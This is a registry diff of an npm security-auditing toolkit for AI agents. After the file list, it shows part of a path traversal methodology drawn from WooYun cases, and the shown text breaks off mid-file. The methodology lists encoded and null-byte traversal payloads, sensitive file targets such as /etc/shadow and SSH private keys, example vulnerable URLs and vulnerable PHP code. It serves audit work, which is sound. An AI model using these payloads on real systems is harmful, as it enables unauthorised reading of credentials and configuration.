@vigolium/piolium 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +117 -0
- package/agents/access-auditor.md +300 -0
- package/agents/assumption-breaker.md +154 -0
- package/agents/attack-designer.md +116 -0
- package/agents/code-scanner.md +139 -0
- package/agents/concurrency-auditor.md +238 -0
- package/agents/confirm-writer.md +257 -0
- package/agents/context-reviewer.md +274 -0
- package/agents/cross-verifier.md +165 -0
- package/agents/cve-scout.md +381 -0
- package/agents/env-builder.md +282 -0
- package/agents/env-profiler.md +205 -0
- package/agents/evidence-collector.md +140 -0
- package/agents/finding-grader.md +142 -0
- package/agents/finding-writer.md +148 -0
- package/agents/flow-tracer.md +106 -0
- package/agents/goal-backtracer.md +146 -0
- package/agents/history-miner.md +467 -0
- package/agents/independent-verifier.md +118 -0
- package/agents/intent-mapper.md +183 -0
- package/agents/longshot-collector.md +128 -0
- package/agents/longshot-prober.md +126 -0
- package/agents/patch-auditor.md +73 -0
- package/agents/poc-author.md +124 -0
- package/agents/poc-runner.md +194 -0
- package/agents/probe-lead.md +269 -0
- package/agents/red-challenger.md +101 -0
- package/agents/report-composer.md +208 -0
- package/agents/review-adjudicator.md +216 -0
- package/agents/spec-auditor.md +155 -0
- package/agents/taint-tracer.md +265 -0
- package/agents/test-locator.md +209 -0
- package/agents/threat-modeler.md +132 -0
- package/agents/variant-scanner.md +108 -0
- package/agents/variant-spotter.md +110 -0
- package/bin/piolium.mjs +376 -0
- package/extensions/piolium/_vendor/yaml.bundle.d.mts +6 -0
- package/extensions/piolium/_vendor/yaml.bundle.mjs +139 -0
- package/extensions/piolium/agent-runner.ts +322 -0
- package/extensions/piolium/agents.ts +266 -0
- package/extensions/piolium/audit-state.ts +522 -0
- package/extensions/piolium/bundled-resources.ts +97 -0
- package/extensions/piolium/candidate-scan.ts +966 -0
- package/extensions/piolium/command-target.ts +177 -0
- package/extensions/piolium/console-stream.ts +57 -0
- package/extensions/piolium/export-results.ts +380 -0
- package/extensions/piolium/findings.ts +448 -0
- package/extensions/piolium/heartbeat.ts +182 -0
- package/extensions/piolium/help.ts +234 -0
- package/extensions/piolium/index.ts +1865 -0
- package/extensions/piolium/longshot.ts +530 -0
- package/extensions/piolium/matcher-suggestions.ts +196 -0
- package/extensions/piolium/matcher-utils.ts +83 -0
- package/extensions/piolium/modes/balanced.ts +750 -0
- package/extensions/piolium/modes/confirm-bootstrap.ts +186 -0
- package/extensions/piolium/modes/confirm.ts +697 -0
- package/extensions/piolium/modes/deep.ts +917 -0
- package/extensions/piolium/modes/diff.ts +177 -0
- package/extensions/piolium/modes/lite.ts +540 -0
- package/extensions/piolium/modes/longshot.ts +595 -0
- package/extensions/piolium/modes/merge.ts +204 -0
- package/extensions/piolium/modes/phase-runner.ts +267 -0
- package/extensions/piolium/modes/reinvest.ts +546 -0
- package/extensions/piolium/modes/revisit.ts +279 -0
- package/extensions/piolium/modes.ts +48 -0
- package/extensions/piolium/phase-labels.ts +123 -0
- package/extensions/piolium/phase-status-strip.ts +92 -0
- package/extensions/piolium/prompt-prefix-editor.ts +39 -0
- package/extensions/piolium/providers/anthropic-vertex.ts +836 -0
- package/extensions/piolium/recon.ts +409 -0
- package/extensions/piolium/result-stats.ts +105 -0
- package/extensions/piolium/retry.ts +120 -0
- package/extensions/piolium/scheduler.ts +212 -0
- package/extensions/piolium/secrets.ts +368 -0
- package/extensions/piolium/tools/web-tools.ts +148 -0
- package/package.json +77 -0
- package/skills/agentic-actions-auditor/SKILL.md +327 -0
- package/skills/agentic-actions-auditor/references/action-profiles.md +186 -0
- package/skills/agentic-actions-auditor/references/cross-file-resolution.md +209 -0
- package/skills/agentic-actions-auditor/references/foundations.md +94 -0
- package/skills/agentic-actions-auditor/references/vector-a-env-var-intermediary.md +77 -0
- package/skills/agentic-actions-auditor/references/vector-b-direct-expression-injection.md +83 -0
- package/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md +83 -0
- package/skills/agentic-actions-auditor/references/vector-d-pr-target-checkout.md +88 -0
- package/skills/agentic-actions-auditor/references/vector-e-error-log-injection.md +88 -0
- package/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md +82 -0
- package/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md +91 -0
- package/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md +102 -0
- package/skills/agentic-actions-auditor/references/vector-i-wildcard-allowlists.md +88 -0
- package/skills/audit/SKILL.md +562 -0
- package/skills/audit/assets/icon.svg +7 -0
- package/skills/audit/hooks/scripts/validate_phase_output.py +550 -0
- package/skills/audit/references/adversarial-review.md +148 -0
- package/skills/audit/references/architecture-aware-sast.md +306 -0
- package/skills/audit/references/audit-workflow.md +737 -0
- package/skills/audit/references/chamber-protocol.md +384 -0
- package/skills/audit/references/creative-attack-modes.md +221 -0
- package/skills/audit/references/deep-analysis.md +273 -0
- package/skills/audit/references/domain-attack-playbooks.md +1129 -0
- package/skills/audit/references/knowledge-base-template.md +513 -0
- package/skills/audit/references/real-env-validation.md +191 -0
- package/skills/audit/references/report-templates.md +417 -0
- package/skills/audit/references/triage-and-prereqs.md +134 -0
- package/skills/audit/scripts/consolidate_drafts.py +554 -0
- package/skills/audit/scripts/partition_findings.py +152 -0
- package/skills/audit/scripts/rg-hotspots.sh +121 -0
- package/skills/audit/scripts/stamp_file_state.py +349 -0
- package/skills/code-reviewer/SKILL.md +65 -0
- package/skills/codeql/SKILL.md +281 -0
- package/skills/codeql/references/build-fixes.md +90 -0
- package/skills/codeql/references/diagnostic-query-templates.md +339 -0
- package/skills/codeql/references/extension-yaml-format.md +209 -0
- package/skills/codeql/references/important-only-suite.md +153 -0
- package/skills/codeql/references/language-details.md +207 -0
- package/skills/codeql/references/macos-arm64e-workaround.md +179 -0
- package/skills/codeql/references/performance-tuning.md +111 -0
- package/skills/codeql/references/quality-assessment.md +172 -0
- package/skills/codeql/references/ruleset-catalog.md +63 -0
- package/skills/codeql/references/run-all-suite.md +92 -0
- package/skills/codeql/references/sarif-processing.md +79 -0
- package/skills/codeql/references/threat-models.md +51 -0
- package/skills/codeql/workflows/build-database.md +280 -0
- package/skills/codeql/workflows/create-data-extensions.md +261 -0
- package/skills/codeql/workflows/run-analysis.md +301 -0
- package/skills/differential-review/SKILL.md +220 -0
- package/skills/differential-review/adversarial.md +203 -0
- package/skills/differential-review/methodology.md +234 -0
- package/skills/differential-review/patterns.md +300 -0
- package/skills/differential-review/reporting.md +369 -0
- package/skills/fp-check/SKILL.md +125 -0
- package/skills/fp-check/references/bug-class-verification.md +114 -0
- package/skills/fp-check/references/deep-verification.md +143 -0
- package/skills/fp-check/references/evidence-templates.md +91 -0
- package/skills/fp-check/references/false-positive-patterns.md +115 -0
- package/skills/fp-check/references/gate-reviews.md +27 -0
- package/skills/fp-check/references/standard-verification.md +78 -0
- package/skills/insecure-defaults/SKILL.md +117 -0
- package/skills/insecure-defaults/references/examples.md +409 -0
- package/skills/last30days/SKILL.md +444 -0
- package/skills/sarif-parsing/SKILL.md +483 -0
- package/skills/sarif-parsing/resources/jq-queries.md +162 -0
- package/skills/sarif-parsing/resources/sarif_helpers.py +331 -0
- package/skills/security-threat-model/LICENSE.txt +201 -0
- package/skills/security-threat-model/SKILL.md +81 -0
- package/skills/security-threat-model/agents/openai.yaml +4 -0
- package/skills/security-threat-model/references/prompt-template.md +255 -0
- package/skills/security-threat-model/references/security-controls-and-assets.md +32 -0
- package/skills/semgrep/SKILL.md +212 -0
- package/skills/semgrep/references/rulesets.md +162 -0
- package/skills/semgrep/references/scan-modes.md +110 -0
- package/skills/semgrep/references/scanner-task-prompt.md +140 -0
- package/skills/semgrep/scripts/merge_sarif.py +203 -0
- package/skills/semgrep/workflows/scan-workflow.md +311 -0
- package/skills/semgrep-rule-creator/SKILL.md +168 -0
- package/skills/semgrep-rule-creator/references/quick-reference.md +202 -0
- package/skills/semgrep-rule-creator/references/workflow.md +240 -0
- package/skills/semgrep-rule-variant-creator/SKILL.md +205 -0
- package/skills/semgrep-rule-variant-creator/references/applicability-analysis.md +250 -0
- package/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md +324 -0
- package/skills/semgrep-rule-variant-creator/references/workflow.md +518 -0
- package/skills/sharp-edges/SKILL.md +292 -0
- package/skills/sharp-edges/references/auth-patterns.md +252 -0
- package/skills/sharp-edges/references/case-studies.md +274 -0
- package/skills/sharp-edges/references/config-patterns.md +333 -0
- package/skills/sharp-edges/references/crypto-apis.md +190 -0
- package/skills/sharp-edges/references/lang-c.md +205 -0
- package/skills/sharp-edges/references/lang-csharp.md +285 -0
- package/skills/sharp-edges/references/lang-go.md +270 -0
- package/skills/sharp-edges/references/lang-java.md +263 -0
- package/skills/sharp-edges/references/lang-javascript.md +269 -0
- package/skills/sharp-edges/references/lang-kotlin.md +265 -0
- package/skills/sharp-edges/references/lang-php.md +245 -0
- package/skills/sharp-edges/references/lang-python.md +274 -0
- package/skills/sharp-edges/references/lang-ruby.md +273 -0
- package/skills/sharp-edges/references/lang-rust.md +272 -0
- package/skills/sharp-edges/references/lang-swift.md +287 -0
- package/skills/sharp-edges/references/language-specific.md +588 -0
- package/skills/spec-to-code-compliance/SKILL.md +357 -0
- package/skills/spec-to-code-compliance/resources/COMPLETENESS_CHECKLIST.md +69 -0
- package/skills/spec-to-code-compliance/resources/IR_EXAMPLES.md +417 -0
- package/skills/spec-to-code-compliance/resources/OUTPUT_REQUIREMENTS.md +105 -0
- package/skills/supply-chain-risk-auditor/SKILL.md +67 -0
- package/skills/supply-chain-risk-auditor/resources/results-template.md +41 -0
- package/skills/variant-analysis/METHODOLOGY.md +327 -0
- package/skills/variant-analysis/SKILL.md +142 -0
- package/skills/variant-analysis/resources/codeql/cpp.ql +119 -0
- package/skills/variant-analysis/resources/codeql/go.ql +69 -0
- package/skills/variant-analysis/resources/codeql/java.ql +71 -0
- package/skills/variant-analysis/resources/codeql/javascript.ql +63 -0
- package/skills/variant-analysis/resources/codeql/python.ql +80 -0
- package/skills/variant-analysis/resources/semgrep/cpp.yaml +98 -0
- package/skills/variant-analysis/resources/semgrep/go.yaml +63 -0
- package/skills/variant-analysis/resources/semgrep/java.yaml +61 -0
- package/skills/variant-analysis/resources/semgrep/javascript.yaml +60 -0
- package/skills/variant-analysis/resources/semgrep/python.yaml +72 -0
- package/skills/variant-analysis/resources/variant-report-template.md +75 -0
- package/skills/vuln-report/SKILL.md +137 -0
- package/skills/vuln-report/agents/openai.yaml +4 -0
- package/skills/vuln-report/references/report-template.md +135 -0
- package/skills/wooyun-legacy/SKILL.md +367 -0
- package/skills/wooyun-legacy/references/bank-penetration.md +222 -0
- package/skills/wooyun-legacy/references/checklists/command-execution-checklist.md +119 -0
- package/skills/wooyun-legacy/references/checklists/csrf-checklist.md +74 -0
- package/skills/wooyun-legacy/references/checklists/file-upload-checklist.md +108 -0
- package/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md +114 -0
- package/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md +95 -0
- package/skills/wooyun-legacy/references/checklists/misconfig-checklist.md +124 -0
- package/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md +87 -0
- package/skills/wooyun-legacy/references/checklists/rce-checklist.md +93 -0
- package/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md +97 -0
- package/skills/wooyun-legacy/references/checklists/ssrf-checklist.md +99 -0
- package/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md +89 -0
- package/skills/wooyun-legacy/references/checklists/weak-password-checklist.md +115 -0
- package/skills/wooyun-legacy/references/checklists/xss-checklist.md +103 -0
- package/skills/wooyun-legacy/references/checklists/xxe-checklist.md +130 -0
- package/skills/wooyun-legacy/references/info-disclosure.md +975 -0
- package/skills/wooyun-legacy/references/logic-flaws.md +721 -0
- package/skills/wooyun-legacy/references/path-traversal.md +1191 -0
- package/skills/wooyun-legacy/references/telecom-penetration.md +156 -0
- package/skills/wooyun-legacy/references/unauthorized-access.md +980 -0
- package/skills/wooyun-legacy/references/xss.md +746 -0
- package/skills/zeroize-audit/SKILL.md +371 -0
- package/skills/zeroize-audit/configs/c.yaml +21 -0
- package/skills/zeroize-audit/configs/default.yaml +128 -0
- package/skills/zeroize-audit/configs/rust.yaml +83 -0
- package/skills/zeroize-audit/prompts/report_template.md +238 -0
- package/skills/zeroize-audit/prompts/system.md +163 -0
- package/skills/zeroize-audit/prompts/task.md +97 -0
- package/skills/zeroize-audit/references/compile-commands.md +231 -0
- package/skills/zeroize-audit/references/detection-strategy.md +191 -0
- package/skills/zeroize-audit/references/ir-analysis.md +252 -0
- package/skills/zeroize-audit/references/mcp-analysis.md +221 -0
- package/skills/zeroize-audit/references/poc-generation.md +470 -0
- package/skills/zeroize-audit/references/rust-zeroization-patterns.md +867 -0
- package/skills/zeroize-audit/schemas/input.json +83 -0
- package/skills/zeroize-audit/schemas/output.json +140 -0
- package/skills/zeroize-audit/tools/analyze_asm.sh +202 -0
- package/skills/zeroize-audit/tools/analyze_cfg.py +381 -0
- package/skills/zeroize-audit/tools/analyze_heap.sh +211 -0
- package/skills/zeroize-audit/tools/analyze_ir_semantic.py +429 -0
- package/skills/zeroize-audit/tools/diff_ir.sh +135 -0
- package/skills/zeroize-audit/tools/diff_rust_mir.sh +189 -0
- package/skills/zeroize-audit/tools/emit_asm.sh +67 -0
- package/skills/zeroize-audit/tools/emit_ir.sh +77 -0
- package/skills/zeroize-audit/tools/emit_rust_asm.sh +178 -0
- package/skills/zeroize-audit/tools/emit_rust_ir.sh +150 -0
- package/skills/zeroize-audit/tools/emit_rust_mir.sh +158 -0
- package/skills/zeroize-audit/tools/extract_compile_flags.py +284 -0
- package/skills/zeroize-audit/tools/generate_poc.py +1329 -0
- package/skills/zeroize-audit/tools/mcp/apply_confidence_gates.py +113 -0
- package/skills/zeroize-audit/tools/mcp/check_mcp.sh +68 -0
- package/skills/zeroize-audit/tools/mcp/normalize_mcp_evidence.py +125 -0
- package/skills/zeroize-audit/tools/scripts/check_llvm_patterns.py +481 -0
- package/skills/zeroize-audit/tools/scripts/check_mir_patterns.py +554 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm.py +424 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm_aarch64.py +300 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm_x86.py +283 -0
- package/skills/zeroize-audit/tools/scripts/find_dangerous_apis.py +375 -0
- package/skills/zeroize-audit/tools/scripts/semantic_audit.py +923 -0
- package/skills/zeroize-audit/tools/track_dataflow.sh +196 -0
- package/skills/zeroize-audit/tools/validate_rust_toolchain.sh +298 -0
- package/skills/zeroize-audit/workflows/phase-0-preflight.md +150 -0
- package/skills/zeroize-audit/workflows/phase-1-source-analysis.md +144 -0
- package/skills/zeroize-audit/workflows/phase-2-compiler-analysis.md +139 -0
- package/skills/zeroize-audit/workflows/phase-3-interim-report.md +46 -0
- package/skills/zeroize-audit/workflows/phase-4-poc-generation.md +46 -0
- package/skills/zeroize-audit/workflows/phase-5-poc-validation.md +136 -0
- package/skills/zeroize-audit/workflows/phase-6-final-report.md +44 -0
- package/skills/zeroize-audit/workflows/phase-7-test-generation.md +42 -0
- package/themes/piolium-srcery.json +94 -0
|
@@ -0,0 +1,1191 @@
|
|
|
1
|
+
# Path Traversal Vulnerability Analysis Methodology
|
|
2
|
+
|
|
3
|
+
> Distilled from 2,854 cases | Data source: WooYun Vulnerability Database (2010-2016)
|
|
4
|
+
|
|
5
|
+
**Sections:** [1. Parameter Patterns](#1-vulnerable-parameter-naming-patterns) | [2. Traversal Payloads](#2-directory-traversal-payload-reference) | [3. Sensitive File Targets](#3-sensitive-file-read-targets) | [4. Vulnerable Functions](#4-high-frequency-vulnerable-function-points) | [5. Code Patterns](#5-vulnerable-code-pattern-analysis) | [6. Filter Bypass](#6-filter-bypass-techniques-summary) | [7. Case Library](#7-generic-vulnerability-case-library) | [8. Detection Checklist](#8-vulnerability-discovery-detection-checklist) | [9. Defense](#9-defense-hardening-recommendations) | [10. Case Index](#10-reference-case-index) | [11. Meta-Analysis](#11-meta-analysis-methodology) | [12. Cloud Hosting Case](#12-cloud-hosting-case-analysis-wooyun-2015-0124527)
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 1. Vulnerable Parameter Naming Patterns
|
|
10
|
+
|
|
11
|
+
### 1.1 High-Frequency Vulnerable Parameters (Sorted by Frequency)
|
|
12
|
+
|
|
13
|
+
| Parameter Name | Occurrences | Typical Scenario |
|
|
14
|
+
|----------------|-------------|------------------|
|
|
15
|
+
| filename | 63 | File download, attachment retrieval |
|
|
16
|
+
| filepath | 30 | File path specification |
|
|
17
|
+
| path | 20 | Generic path parameter |
|
|
18
|
+
| hdfile | 14 | Specific CMS download parameter |
|
|
19
|
+
| inputFile | 9 | Resin/Java services |
|
|
20
|
+
| file | 7 | Generic file parameter |
|
|
21
|
+
| url | 4 | SSRF/file read composite |
|
|
22
|
+
| filePath | 4 | Java camelCase naming |
|
|
23
|
+
| FileUrl | 3 | Common in ASP.NET |
|
|
24
|
+
| XFileName | 3 | Specific CMS parameter |
|
|
25
|
+
|
|
26
|
+
### 1.2 Parameter Naming Conventions
|
|
27
|
+
|
|
28
|
+
```
|
|
29
|
+
Generic: file, path, name, url, src, dir, folder
|
|
30
|
+
Download: download, down, attachment, attach, doc
|
|
31
|
+
Read: read, load, get, fetch, open, input
|
|
32
|
+
File: filename, filepath, fname, fn, resource
|
|
33
|
+
Template: template, tpl, page, include, temp
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
### 1.3 Compound Parameter Combinations
|
|
37
|
+
|
|
38
|
+
```
|
|
39
|
+
# Common dual-parameter combinations
|
|
40
|
+
?path=xxx&name=xxx
|
|
41
|
+
?filePath=xxx&fileName=xxx
|
|
42
|
+
?FileUrl=xxx&FileName=xxx
|
|
43
|
+
?file=xxx&showname=xxx
|
|
44
|
+
?inputFile=xxx&type=xxx
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
---
|
|
48
|
+
|
|
49
|
+
## 2. Directory Traversal Payload Reference
|
|
50
|
+
|
|
51
|
+
### 2.1 Basic Traversal Sequences
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
# Standard Linux paths
|
|
55
|
+
../
|
|
56
|
+
../../
|
|
57
|
+
../../../
|
|
58
|
+
../../../../
|
|
59
|
+
../../../../../
|
|
60
|
+
../../../../../../
|
|
61
|
+
../../../../../../../
|
|
62
|
+
|
|
63
|
+
# Standard Windows paths
|
|
64
|
+
..\
|
|
65
|
+
..\..\
|
|
66
|
+
..\..\..\
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### 2.2 Encoding Bypass Techniques
|
|
70
|
+
|
|
71
|
+
#### Single URL Encoding
|
|
72
|
+
|
|
73
|
+
```
|
|
74
|
+
../ -> %2e%2e%2f
|
|
75
|
+
..\ -> %2e%2e%5c
|
|
76
|
+
/ -> %2f
|
|
77
|
+
\ -> %5c
|
|
78
|
+
. -> %2e
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
#### Double URL Encoding
|
|
82
|
+
|
|
83
|
+
```
|
|
84
|
+
../ -> %252e%252e%252f
|
|
85
|
+
..\ -> %252e%252e%255c
|
|
86
|
+
%2f -> %252f
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
#### Unicode/UTF-8 Overlong Encoding (GlassFish-specific)
|
|
90
|
+
|
|
91
|
+
```
|
|
92
|
+
.. -> %c0%ae%c0%ae
|
|
93
|
+
/ -> %c0%af
|
|
94
|
+
\ -> %c1%9c
|
|
95
|
+
|
|
96
|
+
# Complete payload example (university case)
|
|
97
|
+
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
#### Mixed Encoding
|
|
101
|
+
|
|
102
|
+
```
|
|
103
|
+
..%2f
|
|
104
|
+
%2e%2e/
|
|
105
|
+
%2e%2e%5c
|
|
106
|
+
..%252f
|
|
107
|
+
..%c0%af
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### 2.3 Special Bypass Techniques
|
|
111
|
+
|
|
112
|
+
#### Null Byte Truncation (%00)
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
# PHP < 5.3.4 / Old Java versions
|
|
116
|
+
../../../etc/passwd%00
|
|
117
|
+
../../../etc/passwd%00.jpg
|
|
118
|
+
../../../etc/passwd%00.png
|
|
119
|
+
|
|
120
|
+
# E-commerce platform case
|
|
121
|
+
/misc/script/?js=../../../../../etc/passwd%00f.js
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
#### Base64 Encoding Bypass
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Winmail Server case
|
|
128
|
+
# ../../../windows/win.ini -> Base64
|
|
129
|
+
viewsharenetdisk.php?userid=postmaster&opt=view&filename=Li4vLi4vLi4vLi4vLi4vLi4vd2luZG93cy93aW4uaW5p
|
|
130
|
+
|
|
131
|
+
# CMS case
|
|
132
|
+
pic.php?url=cGljLnBocA== # Base64 of pic.php
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
#### Path Normalization Bypass
|
|
136
|
+
|
|
137
|
+
```bash
|
|
138
|
+
# Dot bypass
|
|
139
|
+
..../
|
|
140
|
+
....//
|
|
141
|
+
....\/
|
|
142
|
+
|
|
143
|
+
# Mixed slashes
|
|
144
|
+
..\/
|
|
145
|
+
../\
|
|
146
|
+
|
|
147
|
+
# Redundant paths
|
|
148
|
+
/./
|
|
149
|
+
//
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## 3. Sensitive File Read Targets
|
|
155
|
+
|
|
156
|
+
### 3.1 Linux System Sensitive Files
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# System accounts (highest occurrence frequency)
|
|
160
|
+
/etc/passwd # User list (9 occurrences)
|
|
161
|
+
/etc/shadow # Password hashes (2 occurrences)
|
|
162
|
+
/etc/hosts # Host mappings (2 occurrences)
|
|
163
|
+
/etc/group # User groups
|
|
164
|
+
/etc/sudoers # sudo configuration
|
|
165
|
+
|
|
166
|
+
# SSH-related
|
|
167
|
+
/root/.ssh/authorized_keys
|
|
168
|
+
/root/.ssh/id_rsa
|
|
169
|
+
/home/[user]/.ssh/authorized_keys
|
|
170
|
+
/home/[user]/.ssh/id_rsa
|
|
171
|
+
|
|
172
|
+
# History files (information goldmine)
|
|
173
|
+
/root/.bash_history
|
|
174
|
+
/home/[user]/.bash_history
|
|
175
|
+
/home/[webuser]/.bash_history
|
|
176
|
+
|
|
177
|
+
# Process information
|
|
178
|
+
/proc/self/environ
|
|
179
|
+
/proc/self/cmdline
|
|
180
|
+
/proc/self/fd/[n]
|
|
181
|
+
/proc/version
|
|
182
|
+
|
|
183
|
+
# Configuration files
|
|
184
|
+
/etc/nginx/nginx.conf
|
|
185
|
+
/etc/httpd/conf/httpd.conf
|
|
186
|
+
/etc/apache2/apache2.conf
|
|
187
|
+
/etc/my.cnf
|
|
188
|
+
/etc/mysql/my.cnf
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
### 3.2 Windows System Sensitive Files
|
|
192
|
+
|
|
193
|
+
```bash
|
|
194
|
+
# System files (4 occurrences)
|
|
195
|
+
C:\windows\win.ini
|
|
196
|
+
C:\boot.ini
|
|
197
|
+
C:\windows\system32\config\sam
|
|
198
|
+
C:\windows\repair\sam
|
|
199
|
+
|
|
200
|
+
# IIS configuration
|
|
201
|
+
C:\inetpub\wwwroot\web.config
|
|
202
|
+
C:\windows\system32\inetsrv\config\applicationHost.config
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
### 3.3 Java Web Sensitive Files
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# Core configuration (6 occurrences)
|
|
209
|
+
WEB-INF/web.xml
|
|
210
|
+
WEB-INF/classes/
|
|
211
|
+
WEB-INF/lib/
|
|
212
|
+
|
|
213
|
+
# Database configuration
|
|
214
|
+
WEB-INF/classes/jdbc.properties
|
|
215
|
+
WEB-INF/classes/database.properties
|
|
216
|
+
WEB-INF/classes/hibernate.cfg.xml
|
|
217
|
+
WEB-INF/classes/applicationContext.xml
|
|
218
|
+
|
|
219
|
+
# Common payloads
|
|
220
|
+
/../WEB-INF/web.xml
|
|
221
|
+
/../WEB-INF/web.xml%3f
|
|
222
|
+
../../../WEB-INF/web.xml
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
### 3.4 PHP Application Sensitive Files
|
|
226
|
+
|
|
227
|
+
```bash
|
|
228
|
+
# Configuration files (multiple occurrences)
|
|
229
|
+
config.php
|
|
230
|
+
config.inc.php
|
|
231
|
+
db.php
|
|
232
|
+
database.php
|
|
233
|
+
conn.php
|
|
234
|
+
connection.php
|
|
235
|
+
common.php
|
|
236
|
+
global.php
|
|
237
|
+
settings.php
|
|
238
|
+
configuration.php
|
|
239
|
+
|
|
240
|
+
# Framework configuration
|
|
241
|
+
config/database.php # Laravel
|
|
242
|
+
application/config/database.php # CodeIgniter
|
|
243
|
+
wp-config.php # WordPress
|
|
244
|
+
config_global.php # Discuz
|
|
245
|
+
config_ucenter.php # Discuz UCenter
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
### 3.5 ASP.NET Sensitive Files
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
# Core configuration (4 occurrences)
|
|
252
|
+
web.config
|
|
253
|
+
../web.config
|
|
254
|
+
../../web.config
|
|
255
|
+
|
|
256
|
+
# Connection string example
|
|
257
|
+
<connectionStrings>
|
|
258
|
+
<add name="xxx" connectionString="Data Source=xxx;Initial Catalog=xxx;User ID=xxx;Password=xxx"/>
|
|
259
|
+
</connectionStrings>
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
---
|
|
263
|
+
|
|
264
|
+
## 4. High-Frequency Vulnerable Function Points
|
|
265
|
+
|
|
266
|
+
### 4.1 Statistics by Function Category
|
|
267
|
+
|
|
268
|
+
| Function Type | Occurrences | Typical Endpoint |
|
|
269
|
+
|---------------|-------------|------------------|
|
|
270
|
+
| File download | 27 | down.php, download.jsp |
|
|
271
|
+
| File read | 17 | read.php, get.php |
|
|
272
|
+
| Attachment management | 6 | attachment.php |
|
|
273
|
+
| Image processing | 5 | image.php, pic.php |
|
|
274
|
+
| File upload | 5 | upload.php |
|
|
275
|
+
| Log viewing | 4 | log.php, viewlog.jsp |
|
|
276
|
+
| Template rendering | 2 | template.php |
|
|
277
|
+
| Backup function | 2 | backup.php |
|
|
278
|
+
|
|
279
|
+
### 4.2 Top 20 Vulnerable Endpoints
|
|
280
|
+
|
|
281
|
+
```
|
|
282
|
+
down.php (20 occurrences)
|
|
283
|
+
download.jsp (17 occurrences)
|
|
284
|
+
download.asp (13 occurrences)
|
|
285
|
+
download.php (7 occurrences)
|
|
286
|
+
download.ashx (7 occurrences)
|
|
287
|
+
viewsharenetdisk.php (6 occurrences)
|
|
288
|
+
GetPage.ashx (6 occurrences)
|
|
289
|
+
pic.php (4 occurrences)
|
|
290
|
+
openfile.asp (4 occurrences)
|
|
291
|
+
do_download.jsp (8 occurrences)
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
### 4.3 Typical Vulnerable URL Patterns
|
|
295
|
+
|
|
296
|
+
```bash
|
|
297
|
+
# PHP
|
|
298
|
+
/down.php?filename=../../../etc/passwd
|
|
299
|
+
/download.php?file=../config.php
|
|
300
|
+
/pic.php?url=[base64-encoded path]
|
|
301
|
+
|
|
302
|
+
# JSP
|
|
303
|
+
/download.jsp?path=../WEB-INF/web.xml
|
|
304
|
+
/do_download.jsp?filePath=../../etc/passwd
|
|
305
|
+
/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xml
|
|
306
|
+
|
|
307
|
+
# ASP/ASPX
|
|
308
|
+
/DownLoad.aspx?Accessory=../web.config
|
|
309
|
+
/DownFile/OpenFile.aspx?XFileName=../web.config
|
|
310
|
+
/download.ashx?file=../../../web.config
|
|
311
|
+
|
|
312
|
+
# Resin-specific
|
|
313
|
+
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
---
|
|
317
|
+
|
|
318
|
+
## 5. Vulnerable Code Pattern Analysis
|
|
319
|
+
|
|
320
|
+
### 5.1 PHP Vulnerable Code Characteristics
|
|
321
|
+
|
|
322
|
+
```php
|
|
323
|
+
// Typical vulnerable code (security vendor case)
|
|
324
|
+
<?php
|
|
325
|
+
$file_name = $_GET['fileName'];
|
|
326
|
+
$file_dir = "../../../log/";
|
|
327
|
+
$handler = fopen($file_dir . $file_name, 'r');
|
|
328
|
+
// Direct concatenation, no filtering
|
|
329
|
+
|
|
330
|
+
// CMS Base64 vulnerability
|
|
331
|
+
$url = url_base64_decode($_GET["url"]);
|
|
332
|
+
echo file_get_contents($url); // Decoded and read directly
|
|
333
|
+
|
|
334
|
+
// CRM vulnerability
|
|
335
|
+
$path = trim(urldecode($_GET['path']));
|
|
336
|
+
$name = substr(trim(urldecode($_GET['name'])), 0, -4);
|
|
337
|
+
download($path, $name); // No filtering, direct download
|
|
338
|
+
```
|
|
339
|
+
|
|
340
|
+
### 5.2 Java Vulnerable Code Characteristics
|
|
341
|
+
|
|
342
|
+
```java
|
|
343
|
+
// Education platform system
|
|
344
|
+
String fileName = request.getParameter("fileName");
|
|
345
|
+
// Parameter used directly without validation
|
|
